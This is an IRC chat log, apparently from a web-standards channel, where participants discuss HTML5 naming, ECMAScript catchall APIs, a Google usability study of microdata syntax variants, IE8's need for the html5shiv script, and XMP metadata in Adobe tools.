zcorpan, next you should argue for a media type :)

[07:58:01.0000] <annevk2>
zcorpan, come to think of it, if importScripts imports ECMAscript it probably does not make much sense to always use UTF-8

[07:58:02.0000] <Lachy>
hsivonen, what does "without the space the authoritative page" mean?

[07:58:03.0000] <annevk2>
it means HTML_5 is now named HTML5

[07:59:00.0000] <annevk2>
I guess

[07:59:01.0000] <hsivonen>
Lachy: HTML5 used to redirect to HTML_5

[07:59:02.0000] <hsivonen>
Lachy: now HTML_5 redirects to HTML5

[07:59:03.0000] <Lachy>
oh

[07:59:04.0000] <hsivonen>
in mediawiki terms of "redirection"

[08:00:00.0000] <Lachy>
That's interesting, considering this that opposed it http://en.wikipedia.org/wiki/Talk:HTML5#Back_to_.22HTML5.22

[08:33:00.0000] <TabAtkins>
Firefox devs: I want tearoff tabs.  >_<

[08:34:00.0000] <TabAtkins>
Oh, nm, I have them now.

[08:34:01.0000] <TabAtkins>
Didn't realize this.

[08:38:00.0000] <jgraham>
/me isn't sure he is happy with the ECMAScript people trying to constrain API design to what is implementable in pure ECMAScript

[08:39:00.0000] <Philip`>
Because you don't consider that a valuable goal?

[08:39:01.0000] <Philip`>
It seems pretty useful for e.g. emulating new APIs in old browsers

[08:40:00.0000] <jgraham>
Because a) I don't understand the reason for it and b) without knowing a) it seems more useful to have well-designed APIs than artifically constrained ones

[08:41:00.0000] <TabAtkins>
I think Philip` provided probably the biggest practical reason.

[08:41:01.0000] <jgraham>
Philip`: In many cases new APIs can't really be emulated in old browsers anyway

[08:41:02.0000] <TabAtkins>
I don't think the idea that an OS might be implemented in ecmascript is very important to worry about, though.

[08:41:03.0000] <Philip`>
jgraham: In many cases you can make a good enough approximation for people to survive

[08:41:04.0000] <Philip`>
e.g. with <canvas>

[08:41:05.0000] <jgraham>
Philip`: What about localStorage?

[08:42:00.0000] <Philip`>
or you could use Flash as the backend implementation

[08:42:01.0000] <Philip`>
jgraham: Maybe Flash, or cookies, or use a remote web service for persistent storage

[08:43:00.0000] <TabAtkins>
And there's that crazy window.name hack for SessionStorage.

[08:43:01.0000] <jgraham>
In any case this seems like a tradeoff for the HTML WG to make on a case-by-case basis, not one for TC39 to insist on as a blanket restriction 

[08:43:02.0000] <Philip`>
"we believe that new host APIs should generally seek to avoid requiring catchalls" sounds a long way from a blanket restriction

[08:44:00.0000] <jgraham>
Philip`: Depends whether by "generally" they mean "always" or "unless they make sense"

[08:44:01.0000] <Philip`>
(Implementing localStorage via a remote storage service would be excellently ironic, unless I'm forgetting what "ironic" means)

[08:45:00.0000] <TabAtkins>
I think that's irony, yes.

[08:45:01.0000] <TabAtkins>
Also: ecma just needs __get magic like PHP and Ruby have.  Then catchalls won't be a problem.

[08:45:02.0000] <jgraham>
I thought Americans didn't get irony? ;)

[08:45:03.0000] <Philip`>
jgraham: Well, if "generally" means "always", and "should" means "must", and "seek to avoid" means "don't"...

[08:46:00.0000] <Philip`>
I suppose then it would be a blanket restriction

[08:46:01.0000] <jgraham>
Philip`: Well they clearly don't like something in HTML5. And it's not like there are dozens of places where catchalls have been used

[08:46:02.0000] <Philip`>
("Blanket restriction" sounds like something you get during wartime rationing when there's not enough cloth to go around)

[08:47:00.0000] <jgraham>
So I would conclude that the restriction they have in mind is severe enough that one of the rather few instances of a new API that uses this pattern is enough to violate it

[08:48:00.0000] <jgraham>
TabAtkins: Yeah they have been arguning about the precise way to implemtn catchalls for as long as I can remember

[08:48:01.0000] <TabAtkins>
Man, it ain't hard.

[08:48:02.0000] <jgraham>
Which, admittedly isn't very long in this case

[08:49:00.0000] <Philip`>
Yeah, they should just copy all of PHP's design decisions

[08:49:01.0000] <TabAtkins>
I'm glad you see things our way, Philip`.

[08:49:02.0000] <TabAtkins>
Anyway, it's *also* Ruby's design decision.

[08:49:03.0000] <jgraham>
http://wiki.ecmascript.org/doku.php?id=strawman:catchalls

[08:49:04.0000] <jgraham>
Python has __getattr__

[08:49:05.0000] <Philip`>
I think they should randomise the function naming conventions in the next version of ECMAScript too

[08:51:00.0000] <jgraham>
/me can't say he is super-thrilled by a proposal wehich appears to require first creating an object and then defining the catchalls on it seperatly

[08:51:01.0000] <TabAtkins>
Man, Philip`, my heart flutters at the mere possibility.

[08:52:00.0000] <TabAtkins>
(Though function naming isn't that bad.  It's the *argument ordering* that really drives me crazy.)

[08:53:00.0000] <TabAtkins>
(Like in_array and substr taking the needle and haystack in opposite order.)

[08:54:00.0000] <Philip`>
/me wonders where the terms needle/haystack originated, in the context of search algorithms

[08:54:01.0000] <TabAtkins>
Can a page on a secure connection link to a resource on another, different secure connection without raising the security dialog?

[08:54:02.0000] <Dashiva>
TabAtkins: It's also annoying that some functions are whatnot and others are array_whatnot

[08:55:00.0000] <TabAtkins>
Philip`, isn't it obvious?  The needle/haystack metaphor has been around forever.

[08:55:01.0000] <Philip`>
I don't remember hearing it more than a few years ago

[08:55:02.0000] <TabAtkins>
Dashiva: Yeah, but honestly, that just doesn't bother me that much.  I've learned enough langauges that names just slide in.

[08:55:03.0000] <TabAtkins>
"Like finding a needle in a haystack"?

[08:55:04.0000] <TabAtkins>
That's an old, old expression.

[08:56:00.0000] <TabAtkins>
Denotes a difficult search.

[08:56:01.0000] <Philip`>
I know the expression, but not its adoption into search algorithms

[08:57:00.0000] <TabAtkins>
Philip`, as far as I know it's been around for a long time there as well.  Been in every literature I've read since I started programming.

[08:57:01.0000] <Dashiva>
It seems like a no-brainer

[08:57:02.0000] <TabAtkins>
(Which, admittedly, is only like 10 years ago or so.)

[08:57:03.0000] <Philip`>
http://www.manpagez.com/man/3/strstr/ just uses s1,s2, but http://linux.die.net/man/3/strstr uses haystack,needle

[08:59:00.0000] <TabAtkins>
So, I'm trying to decide if I can fake out the security dialog.  I have a page on a secure connection on a server that I have little control over, and probably no ability to store arbitrary files.  I also have a handy secure site which I *do* have completely control over already set up.

[08:59:01.0000] <TabAtkins>
I wanna use the latter to host files for the former to link to, if it'll make the browser shut up about linking to insecure resources.

[09:00:00.0000] <Philip`>
Hmm, apparently glibc documentation used haystack/needle since at least 1995

[09:01:00.0000] <Philip`>
but I'm sure I never heard it until relatively recently

[09:01:01.0000] <hsivonen>
Philip`: haystack/needle is ancient

[09:01:02.0000] <TabAtkins>
Define 'recently'.

[09:02:00.0000] <Philip`>
TabAtkins: Recently enough that I can remember thinking "ooh, that's a good name for the arguments" when I first noticed it

[09:02:01.0000] <TabAtkins>
Heh, k.

[09:02:02.0000] <TabAtkins>
Yeah, your brain is just crazy, then.

[09:02:03.0000] <hsivonen>
I'm pretty sure it appears in at least one of Boyer–Moore, Rabin–Karp or Knuth–Morris–Pratt papers

[09:03:00.0000] <TabAtkins>
Woo, awesome, hosting on an unrelated secure server works.

[09:05:00.0000] <Philip`>
TabAtkins: Does the browser UI still indicate that the site is secure? (like when it shows the name of the site in a green/yellow box in the address bar, or whatever)

[09:06:00.0000] <Philip`>
/me has seen lots of secure sites where Opera just shows a grey "?" because it doesn't trust all the content on the page

[09:06:01.0000] <Philip`>
(which is particularly annoying when they're pages asking for my credit card details)

[09:06:02.0000] <TabAtkins>
Philip`, I'm viewing in IE, since it has the dialog most likely to produce a broken page (clicking "yes" makes it ignore all the insecure items).

[09:06:03.0000] <TabAtkins>
So, maybe?

[09:06:04.0000] <TabAtkins>
Anyway, got lots and lots of stuff to push over and change links for now.

[09:07:00.0000] <TabAtkins>
I just confirmed that the template CSS is working, which made me happy.

[09:07:01.0000] <TabAtkins>
Because ie8 users were getting a style-less, image-less page.

[09:07:02.0000] <TabAtkins>
(still usable, but no one who saw it wanted to, because they were confused)

[09:52:00.0000] <TabAtkins>
Philip`, now that everything is being delivered securely, it does indeed indicate that it's a secure connection.

[09:52:01.0000] <TabAtkins>
FF and IE agree.

[10:10:00.0000] <Hixie>
study three

[11:10:00.0000] <Hixie>
well that was interesting

[11:11:00.0000] <gsnedders>
I agree.

[11:12:00.0000] <Hixie>
she was doing variant 002

[11:12:01.0000] <Hixie>
she didn't get the idea of scoping at all, until we showed her the variant 003 syntax, and she was like "oooh, itemscope="", yes!"

[11:12:02.0000] <Hixie>
also she had huge trouble with the idea of using URLs for identifiers

[11:12:03.0000] <Hixie>
unlike the other two, who were fine with it

[11:13:00.0000] <Hixie>
we were hoping to learn more about types, but she didn't really comment on them

[11:13:01.0000] <Hixie>
so that didn't help much

[11:15:00.0000] <annevk2>
how many people are participating in total?

[11:17:00.0000] <Hixie>
2 yesterday, 3 today

[11:17:01.0000] <Hixie>
maybe 2 more monday

[11:21:00.0000] <erlehmann>
Hixie, are you employing a social scientist or usability psychologist for that ?

[11:21:01.0000] <erlehmann>
or is it just … "well, lets see"

[11:21:02.0000] <Hixie>
erlehmann: yes, we have a team of usability experts here

[11:22:00.0000] <Hixie>
erlehmann: with recruiters, screeners, moderators, script writers, etc

[11:22:01.0000] <erlehmann>
script writers ? the'll miss <dialog>, for sure *smirk*

[11:22:02.0000] <Hixie>
one-way glass, eye tracking (though we're not using the eye tracking in this case), etc

[11:22:03.0000] <erlehmann>
oh wow

[11:23:00.0000] <Hixie>
actually usability study scripts tend to just be <li> elements :-)

[11:23:01.0000] <Hixie>
it's quite the setup

[11:23:02.0000] <erlehmann>
Hixie, your description fits my game taste perfectly. played ascii portal yet ?

[11:23:03.0000] <Hixie>
(i was hoping we'd be able to make the videos public, but it looks like we can't because the participants only grant us rights to use the videos internally)

[11:24:00.0000] <erlehmann>
oh, how sad.

[11:24:01.0000] <Hixie>
(though apparently if people want to see them i can show them to you if you come here and agree to the standard visitor NDAs)

[11:24:02.0000] <erlehmann>
"here" ? norway ?

[11:27:00.0000] <gsnedders>
erlehmann: Google, Mountain View

[11:28:00.0000] <erlehmann>
gsnedders, i was going by whois information, but that seems logical, yes.

[11:29:00.0000] <gsnedders>
erlehmann: Hixie runs IRC on some box in Norway because that's where he has a reliable computer he can run IRC over ssh on :P

[11:37:00.0000] <masinter>
/me in TAG meeting only available at interrupt

[11:58:00.0000] <Philip`>
I suppose one problem is you get no idea about long-term usability

[11:59:00.0000] <Philip`>
like whether verbose identifiers become really annoying after you've had to copy-and-paste them for the hundredth time into your document

[11:59:01.0000] <Hixie>
yeah

[11:59:02.0000] <Hixie>
that is a huge problem, indeed

[11:59:03.0000] <Hixie>
though we have learnt that authors have no problem with copy and paste

[11:59:04.0000] <Hixie>
3 out of 3 authors so far have happily used context menus and copy and paste without any difficulty whatsoever

[12:00:00.0000] <Philip`>
If I remember correctly, hsivonen complains about having to copy-and-paste namespace URIs even when he only has to have them once per document

[12:00:01.0000] <Philip`>
and with complex embedded data you might have a dozen different identifiers each used a dozen times on the page

[12:01:00.0000] <Philip`>
I presume the problem is more about finding a place to copy from, rather than the mechanism of copy-and-paste

[12:02:00.0000] <Hixie>
yup

[12:02:01.0000] <Hixie>
totally agree

[12:02:02.0000] <Philip`>
So I guess your data won't be convincing evidence against the need for CURIEs

[12:02:03.0000] <Philip`>
so RDFa wins again!

[12:04:00.0000] <solepixel>
ok, IE8. What gives? All my html5 tags don't work, or they're being displayed "inline" or something. I have a reset stylesheet which is setting them all to display:block, but that's not taking. Is there something I should know about this issue?

[12:04:01.0000] <Hixie>
oh we're not trying to study rdfa here

[12:05:00.0000] <erlehmann>
solepixel, google frame ;)

[12:05:01.0000] <erlehmann>
Hixie, isn't 3 a really small number for extrapolation ?

[12:06:00.0000] <erlehmann>
or do you just want to uncover problems ?

[12:06:01.0000] <inimino>
solepixel: you probably want the createElement hack

[12:06:02.0000] <solepixel>
ouch

[12:06:03.0000] <solepixel>
so my html5 requires JS to run in IE8?

[12:08:00.0000] <da3d>
solepixel: You want http://html5shiv.googlecode.com/svn/trunk/html5.js

[12:08:01.0000] <solepixel>
so, what you're saying is, this HTML5 that everyone's saying is OK to use "today" isn't really without this javascript hack?

[12:09:00.0000] <Philip`>
/me wonders how the word "shiv" got so entrenched here

[12:09:01.0000] <masinter>
/me notes productive discussion of copy/paste difficulty as requirement has been useful, but that 'authors using text editors' are only small segment of market that create HTML pages

[12:09:02.0000] <inimino>
solepixel: HTML5 features are fine to use in browsers that support them

[12:10:00.0000] <inimino>
solepixel: if you heard that IE8 is supporting a lot of new HTML5 features, you were misinformed

[12:11:00.0000] <masinter>
noting things that interfere with backward compatibility with large deployed base of existing browsers would be really helpful, most standards updates take compatibility with all sides (producers and consumers) and not just one side (old producers, i.e., existing web pages)

[12:11:01.0000] <masinter>
/me goes back to TAG meeting

[12:11:02.0000] <solepixel>
no, i just saw in numerous blogs/sites that people say "yes, start using HTML5". yet they all failed to mention hacks were required for IE8

[12:11:03.0000] <hsivonen>
Philip`: I use assistive technology for writing ns uris

[12:12:00.0000] <masinter>
they were misinformed: http://www.w3.org/QA/2009/05/_watching_the_google_io.html

[12:12:01.0000] <hsivonen>
Philip`: I have a program that hooks into the accessibility APIs and expands nmemonics into full uris for me

[12:12:02.0000] <solepixel>
John Resig being one of them

[12:13:00.0000] <hsivonen>
however, I had a typo in the Xlink macro, so teh wrong ns got expanded all over the place. including the V.nu talisman checking

[12:14:00.0000] <hober>
paul_irish_: nice post re: chrome & @font-face

[12:17:00.0000] <paul_irish_>
hober: oh thanks man! :)

[12:19:00.0000] <hsivonen>
hober: URL?

[12:19:01.0000] <paul_irish_>
http://paulirish.com/2009/chrome-and-font-face-a-summary/

[12:26:00.0000] <hsivonen>
paul_irish_: thanks

[12:26:01.0000] <paul_irish_>
:)

[12:36:00.0000] <masinter>
http://www.w3.org/html/wg/tracker/issues/53

[12:39:00.0000] <masinter>
http://dev.w3.org/html5/spec/Overview.html#text-html

[12:39:01.0000] <Hixie>
erlehmann: 2 yesterday, 3 today, 2 monday. turns out more than 6 is actually not that much more information.

[12:42:00.0000] <erlehmann>
Hixie, and from what background did you pick your candidates ? web developers ?

[12:42:01.0000] <Hixie>
yeah, engineers and web devs. we have a recruiting department, they ask screening questions to try to get people familiar with html but not familiar with html5, etc

[12:43:00.0000] <Hixie>
asking questions like "what text editor do you use" and "how much do you use css"

[12:43:01.0000] <Hixie>
we figured that would help weed out the wysiwyg users a bit

[12:44:00.0000] <erlehmann>
Well, then i'll go for „MS Word“ and „I liked Counterstrike 1.6 more.“ :p

[12:45:00.0000] <gsnedders>
It's cool Google are doing this, though.

[12:58:00.0000] <hsivonen>
hehe. jd has already drawn parallels between Silverlight and Chrome Frame

[12:58:01.0000] <erlehmann>
Hixie, was usability testing also employed in other regards, like naming the URI input type "url" etc. ?

[12:58:02.0000] <erlehmann>
or is this a first for the spec ?

[13:00:00.0000] <masinter>
the idea of studying this is bizarre, to pick the spec point by point for usability

[13:00:01.0000] <masinter>
that's like having an application user interface and asking people if they like blue or green menu items better

[13:02:00.0000] <Hixie>
erlehmann: first time for html5

[13:03:00.0000] <erlehmann>
well i guess there wont be a second time then ? after all, other issues are not so complicated and last call is near.

[13:03:01.0000] <Hixie>
masinter: you wouldn't ask them which they prefer, you'd test which makes them more productive

[13:03:02.0000] <othermaciej>
it's not like asking, it's like doing a usability test to see if blue or green menu items are for whatever reason easier to use

[13:03:03.0000] <masinter>
if the criteria is 'consistency' and 'coherence', there's no way to discover that by asking piece by piece whether the overall language makes sense from a usability point of view

[13:03:04.0000] <othermaciej>
the latter may still be trivial and perhaps likely to produce more statistical noise than meaningful results, but at least it would not be fallacious

[13:03:05.0000] <Hixie>
masinter: (and google does do that; we've even doing A/B comparison studies for shades of blue on the search results page!)

[13:04:00.0000] <Hixie>
masinter: we don't ask them what they think, we make them do exercises and see how well they do with different variants

[13:04:01.0000] <Hixie>
masinter: you can see the scripts we use here: http://damowmow.com/playground/microdata/

[13:04:02.0000] <masinter>
my comment about consistency and coherence of the overall language stand, no matter how you judge individual features

[13:04:03.0000] <othermaciej>
and when doing usability testing, yes, it does make sense to consider only one or a few features / tasks at a time

[13:04:04.0000] <Hixie>
participant 4 just started, following this script: http://damowmow.com/playground/microdata/script-participant5

[13:04:05.0000] <Hixie>
er, participant 5 even

[13:05:00.0000] <masinter>
maciej: tasks, yes. features, no

[13:05:01.0000] <erlehmann>
masinter, html5 is not consistent at all. film at 11.

[13:05:02.0000] <Hixie>
though it's the fourth person, we're doing them out of order because someone canceled on us earlier today

[13:05:03.0000] <masinter>
i'm not saying that doing experiments is bad, it's just drawing grand conclusions based on them

[13:05:04.0000] <othermaciej>
judging consistency and coherence of the whole language is useful, but not in the same way as using usability testing

[13:06:00.0000] <othermaciej>
usability testing can't generally tell you if your whole UI paradigm is wrong (if we take it back to its usual domain)

[13:06:01.0000] <Hixie>
oh actually we're using script 6 with this participant (http://damowmow.com/playground/microdata/script-participant6)

[13:06:02.0000] <masinter>
are there any reliable statistics about percentage of web pages served that are actually hand-authored, vs. generated by database tools?

[13:06:03.0000] <Hixie>
my bad

[13:06:04.0000] <othermaciej>
you have to have good judgment to get the right basic ideas in the UI, and then you can use usability testing to refine them

[13:06:05.0000] <masinter>
or built with wysiwyg tools, such as rich text email editors?

[13:07:00.0000] <Hixie>
othermaciej: it can tell you your paradigm isn't working, though it can't tell you how to fix the whole paradigm, i'd say

[13:07:01.0000] <masinter>
just the relative importance given in the language design to hackers using emails to build HTML

[13:07:02.0000] <masinter>
s/email/emacs/

[13:07:03.0000] <othermaciej>
Hixie: fair enough, though if you have a design that broken, then you need a good designer more than you need usability testing

[13:08:00.0000] <Hixie>
othermaciej: no argument there!

[13:08:01.0000] <TabAtkins>
Hixie: What are the differences between 001 and 002?  I can't tell on a quick visual diff.

[13:08:02.0000] <othermaciej>
masinter: enough people (and in particular enough early adopters and educators/advocates) hand-author that it's worth considering

[13:08:03.0000] <masinter>
/me thinks extensibility, coherence, reliability of processing, locality of effects of processing, debugability etc. are more important in language design than usability, even for markup languages

[13:09:00.0000] <othermaciej>
I think there's generally an assumption that making something nicer for hand-authoring will not materially harm the ability of tools to produce it

[13:09:01.0000] <Hixie>
TabAtkins: http://damowmow.com/playground/microdata/002-001 explains going from 002 to 001

[13:09:02.0000] <masinter>
more pages are edited and debugged than are authored in the first place

[13:09:03.0000] <othermaciej>
sure, so making HTML write-only like Perl would be a poor choice

[13:10:00.0000] <masinter>
that was the argument for programming languages too: programmers spend more time trying to figure out what someone else's code than they do writing stuff in the first place

[13:10:01.0000] <othermaciej>
though we are constrained by legacy to have some details that may be hard for a non-expert to infer from reading

[13:11:00.0000] <othermaciej>
for example, without knowing what elements implicitly close what other elements, and which elements are void it may be hard to read markup that doesn't go out of its way to indicate when things are closed

[13:11:01.0000] <Hixie>
othermaciej: the good news on that front is that authors are finding reading microdata easier than writing it

[13:11:02.0000] <othermaciej>
Hixie: are there any tests that involve them taking existing microdata markup and changing it to say something else?

[13:12:00.0000] <masinter>
or just figuring out what it says and whether it says what you think it says?

[13:12:01.0000] <masinter>
or debugging "i got out X and I meant for it to say Y, fix it?"

[13:12:02.0000] <othermaciej>
masinter: Hixie did say there are tests for reading microdata which are going well

[13:12:03.0000] <Hixie>
othermaciej: one exercise has them writing out the name-value pairs of http://damowmow.com/playground/microdata/002/flickr-annotated.html

[13:12:04.0000] <masinter>
debugging is much different from reading

[13:13:00.0000] <Hixie>
othermaciej: and the main other exercise is getting them to annotate http://damowmow.com/playground/microdata/002/blog.html

[13:13:01.0000] <masinter>
metadata is more likely to be inserted using database publishing, anyway

[13:14:00.0000] <masinter>
hand-authored metadata is likely to be rare anyway; the most important use cases for adding metadata to web pages come from database publishing, so the relevance of usability here is really suspect

[13:14:01.0000] <othermaciej>
masinter: many authors hand-author microdata markup, or templates that contain it, so I doubt your conclusion

[13:14:02.0000] <masinter>
i asked for statistics and you say 'many'

[13:15:00.0000] <othermaciej>
many authors also try to hand-author RDFa markup or templates containing it

[13:15:01.0000] <masinter>
now, i don't have statistics either, but i know about metadata through authoring tool chains and most of the metadata is added automatically in all of the workflows i know of, by the tools

[13:16:00.0000] <Philip`>
/me doesn't know how you could do something like RDFa/microdata without a human writing either the markup or the markup templates

[13:16:01.0000] <othermaciej>
I understand that you doubt the value of this usability study, but pre-emptively criticizing its conclusions does not seem like a good use of time

[13:16:02.0000] <masinter>
i'm not criticizing its conclusions

[13:16:03.0000] <masinter>
not at all, sorry if that seemed like i was saying

[13:17:00.0000] <othermaciej>
"i'm not saying that doing experiments is bad, it's just drawing grand conclusions based on them"

[13:17:01.0000] <masinter>
exactly, i don't expect there to be any grand conclusions, do you?

[13:17:02.0000] <Hixie>
i would imagine most pages that have microformats, rdfa, or that will have microdata, are either written by hand, or autofilled into templates that are themselves written by hand

[13:17:03.0000] <othermaciej>
I expect there to be modest conclusions, which are nontheless useful

[13:17:04.0000] <othermaciej>
since that is what usually happens with usability studies

[13:17:05.0000] <Hixie>
e.g. wordpress, a big producer of microformats, is all hand-written templates

[13:18:00.0000] <masinter>
othermaciej: yes, that's what i expect too, so we agree

[13:18:01.0000] <masinter>
hmmm, hand-written templates... that sounds right

[13:18:02.0000] <othermaciej>
it sounded like you were pre-emptively mocking the conclusions as likely to be "grand", when no one had presented any conclusions

[13:18:03.0000] <masinter>
so template builders don't actually verify the metadata accuracy

[13:19:00.0000] <hsivonen>
masinter: someone hand authors the templates that are filled from a database

[13:19:01.0000] <masinter>
hsivonen: yes, that sounds reasonable. but then, the task of changing the metadata based on looking at the HTML wouldn't be the right test.

[13:19:02.0000] <othermaciej>
you want markup that someone can add to a template with low likelihood of messing up the syntax (relative to alternatives)

[13:20:00.0000] <hsivonen>
othermaciej: I'd posit that the power of Selectors makes it super-hard to make a WYSIWYG tool that ingests hand-written CSS

[13:20:01.0000] <othermaciej>
a test to make a template would probably be more confusing than a test to add some concrete microdata, and unlikely to give interestingly different conclusions

[13:20:02.0000] <TabAtkins>
hsivonen: I'd agree with that.

[13:20:03.0000] <masinter>
if the metadata is populated by filling in a template, then the production of the metadata would be split between the template writer, the author of the software that knows how to fill in the template, the user that fills in the template 

[13:20:04.0000] <othermaciej>
hsivonen: are you saying this is a consequence of the wonderful hand-authorability of Selectors?

[13:20:05.0000] <TabAtkins>
hsivonen: I also wouldn't care, because Selectors are so awesome.

[13:22:00.0000] <hsivonen>
othermaciej: abstractions that help hand authoring are hard for stuff that crams that stuff into different abstractions

[13:22:01.0000] <othermaciej>
hsivonen: selectors of nontrivial complexity are hard to hand-author

[13:23:00.0000] <hsivonen>
how does OpenOffice.org expose RDFa in ODF in the UI?

[13:23:01.0000] <othermaciej>
I think the real tradeoff we are seeing here is language expressiveness vs. ability of tools to understand the language and express it in a GUI

[13:23:02.0000] <masinter>
it's great to do usability studies, and looking at hand authoring is fine, it's just that if there are limited resources to do them, doing usability studies that correspond the most important use cases would be really helpful

[13:23:03.0000] <Hixie>
/me takes back what he said earlier about participants being able to extract data easily

[13:24:00.0000] <Hixie>
masinter: i encourage adobe to put up the resources to do usability studies for what you think is more important

[13:24:01.0000] <masinter>
that's a great rejoinder, of course

[13:24:02.0000] <hsivonen>
do adobe products expose a UI for arbitrary graphs in XMP?

[13:24:03.0000] <othermaciej>
masinter: if you have ideas for studies perhaps we can even find resources elsewhere

[13:24:04.0000] <Hixie>
it's not meant as a rejoinder, i'm serious, it would be awesome if adobe could do usability studies

[13:25:00.0000] <masinter>
hsivonen: I don't think so

[13:25:01.0000] <othermaciej>
myself, I'm not inclined to criticize data gathering simply because there is other data we could have gathered

[13:25:02.0000] <masinter>
Adobe mainly does WYSIWYG tools for designers

[13:25:03.0000] <masinter>
and for the most part, Adobe customers could care less about the markup language and don't want to see it

[13:26:00.0000] <masinter>
i'm sorry if it sounded like i was criticizing data gathering, i was just trying to be helpful

[13:26:01.0000] <TabAtkins>
/me wishes he can a bit more visibility into the markup language of PDFs, as he's been staring at a big problem for a while and Adobe tech support couldn't help him.

[13:26:02.0000] <hsivonen>
masinter: what happens if a file comes in from a non-Adobe app and has a complex RDF graph in XMP?

[13:26:03.0000] <TabAtkins>
s/can/could have/

[13:27:00.0000] <othermaciej>
would you imagine any of Adobe's tools ever having UI to add metadata markup (either concrete or templates)?

[13:27:01.0000] <othermaciej>
or is that something that would be left to be done after the fact by editing the tool's output?

[13:28:00.0000] <masinter>
most adobe tools have UI to add and edit matadata, and to do template-based creation of metadata

[13:28:01.0000] <othermaciej>
embedded metadata, or whole-document level metadata?

[13:28:02.0000] <masinter>
and extensibility points for adding new menus, screens, user interfaces

[13:28:03.0000] <othermaciej>
and if the former, what formats are supported?

[13:28:04.0000] <masinter>
well, it depends on the product, maciej

[13:29:00.0000] <othermaciej>
I'm asking because I wonder if there is anything we can do in the design of metadata markup to make it easier for WYSIWYG tools to apply it

[13:29:01.0000] <tantek>
masinter, what formats in total (across any/all products)?

[13:29:02.0000] <masinter>
lemme give you some references

[13:29:03.0000] <othermaciej>
I can imagine building a template with a graphical tool and then producing pages using that template from a database is a likely scenario

[13:30:00.0000] <masinter>
http://www.adobe.com/products/xmp/standards.html

[13:30:01.0000] <TabAtkins>
/me finds Selectors absolutely trivial, and so is definitely not the guy you should ask about Selector usability.

[13:31:00.0000] <masinter>
/me is in a discussion in TAG meeting needs to get back, will send file format issue

[13:31:01.0000] <hsivonen>
tantek: are you aware of WYSIWYGish tools that support DRY metadata in document body?

[13:31:02.0000] <othermaciej>
so XMP is file-scope metadata?

[13:31:03.0000] <othermaciej>
(if I'm reading this right)

[13:32:00.0000] <hsivonen>
having a WYSIWYG UI for DRY seems like a hard problem

[13:32:01.0000] <masinter>
part 3 http://www.adobe.com/devnet/xmp/

[13:32:02.0000] <masinter>
part 3 has file formats supported

[13:33:00.0000] <masinter>
http://www.adobe.com/devnet/xmp/pdfs/XMP-FileInfo-SDK-Overview.pdf has info on how to customize application UI for wysiwyg interfaces for custom metadata

[13:34:00.0000] <masinter>
PDF, InDesign and some other formats allow XMP inside embedded objects

[13:35:00.0000] <masinter>
http://www.adobe.com/devnet/xmp/pdfs/DynamicMediaXMPPartnerGuide.pdf says it's about dynamic media (video & audio) but it actually is a general architecture for having embedded metadata for compound objects

[13:35:01.0000] <masinter>
DRY = ??

[13:35:02.0000] <othermaciej>
Don't Repeat Yourself

[13:35:03.0000] <masinter>
tantek: file formats extensible, of course

[13:36:00.0000] <hsivonen>
/me wonder what app consume Illustrator-written metadata in SVG

[13:36:01.0000] <Hixie>
well this study is going poorly

[13:36:02.0000] <tantek>
/me dislikes the term metadata as its often unnecessarily used (where "data" would do), and seems to encourage separation/duplication from the actual data (violations of DRY) and invisible metadata.

[13:36:03.0000] <hsivonen>
(parts of it have a write-only flavor)

[13:37:00.0000] <tantek>
here's a good blog post on the overuse of the term metadata (even/especially by CS types) http://blogs.fluidinfo.com/fluidDB/2009/09/05/metadata-vs-data-a-wholly-artificial-distinction/

[13:37:01.0000] <masinter>
http://www.metadataworkinggroup.org/ working on integration of XMP with other legacy metadata formats for images & video (e.g., EXIF) so cameras can add metadata when the picture is taken

[13:38:00.0000] <Philip`>
Everything is cooler when you call it meta

[13:38:01.0000] <tantek>
Philip`: Everything is cooler when you call it Semantic

[13:38:02.0000] <TabAtkins>
You can't spell Semantic without meta.

[13:39:00.0000] <TabAtkins>
Also: You can't spell it without snic.

[13:39:01.0000] <Philip`>
Clearly we need metasemantics

[13:39:02.0000] <Hixie>
you can't spell Semantics without Antics

[13:40:00.0000] <TabAtkins>
http://wordsmith.org/anagram/anagram.cgi?anagram=semantic&t=1000&a=n

[13:40:01.0000] <TabAtkins>
You can't spell semantic without ace mints.

[13:41:00.0000] <Hixie>
wow, current participant is confusing me

[13:42:00.0000] <othermaciej>
if you call something "metadata" instead of "data", sometimes people are less insistent on figuring out how it is useful and who will use it

[13:42:01.0000] <TabAtkins>
othermaciej: Because you can always use more metadata.

[13:42:02.0000] <Hixie>
othermaciej: indeed, that's why i stopped calling things metadata a few months ago :-)

[13:43:00.0000] <masinter>
i think calling it 'metadata' rather than 'data' narrows the focus usefully

[13:43:01.0000] <masinter>
brb

[13:47:00.0000] <Hixie>
ok well the current participant really had trouble with containership like hte one earlier today

[13:47:01.0000] <Hixie>
but seemed to handle the itemtype="" idea reasonably well in the middle of all that

[13:47:02.0000] <tantek>
Hixie - hierarchy is always difficult, even if it is just one level (containership)

[13:47:03.0000] <tantek>
this is something we have learned from microformats experience as well, and as a result have worked on flattening various things

[13:47:04.0000] <Hixie>
so it seems

[13:48:00.0000] <tantek>
some of these changes are making it into hCard 1.0.1 and hCalendar 1.0.1

[13:48:01.0000] <tantek>
also a big lesson: no required properties

[13:48:02.0000] <Hixie>
the one earlier today said that the variant 003 idea of using itemscope="" actually made things easier

[13:48:03.0000] <tantek>
this is a tough one for semantic/formats-heads

[13:48:04.0000] <Hixie>
which i found interesting

[13:48:05.0000] <tantek>
its is the direct OPPOSITE of draconian handling methodology

[13:48:06.0000] <Hixie>
like, he didn't get <div item> at all, but once we had <div itemscope>, suddenly he was much happier with it

[13:50:00.0000] <tantek>
Hixie - that kind of terminology specific result depends *heavily* on the background of the person

[13:50:01.0000] <tantek>
(I know this from seeing similar results (v�t widely varying - from numerous people in classroom settings )

[13:50:02.0000] <tantek>
so another person will be much happier with "item" who has no idea what "scope" means

[13:51:00.0000] <tantek>
don't get me wrong - i'm happy to see you are doing this study and gathering data from it

[13:51:01.0000] <tantek>
it's quite useful to have various experiences confirmed by study etc.

[13:53:00.0000] <hsivonen>
wow. http://downforeveryoneorjustme.com/amazon.com

[13:53:01.0000] <othermaciej>
looks fine to me

[13:53:02.0000] <Philip`>
To me too

[13:53:03.0000] <TabAtkins>
Me too.

[13:54:00.0000] <TabAtkins>
So, it's down for just them?

[13:54:01.0000] <tantek>
maybe amazon blocked them?

[13:54:02.0000] <hsivonen>
amazon times out for me

[13:56:00.0000] <TabAtkins>
Huh.  Chrome and FF agree on rendering this table-* example wrong.

[13:56:01.0000] <TabAtkins>
Well, maybe form elements aren't allowed to be display:table-cell.

[13:56:02.0000] <TabAtkins>
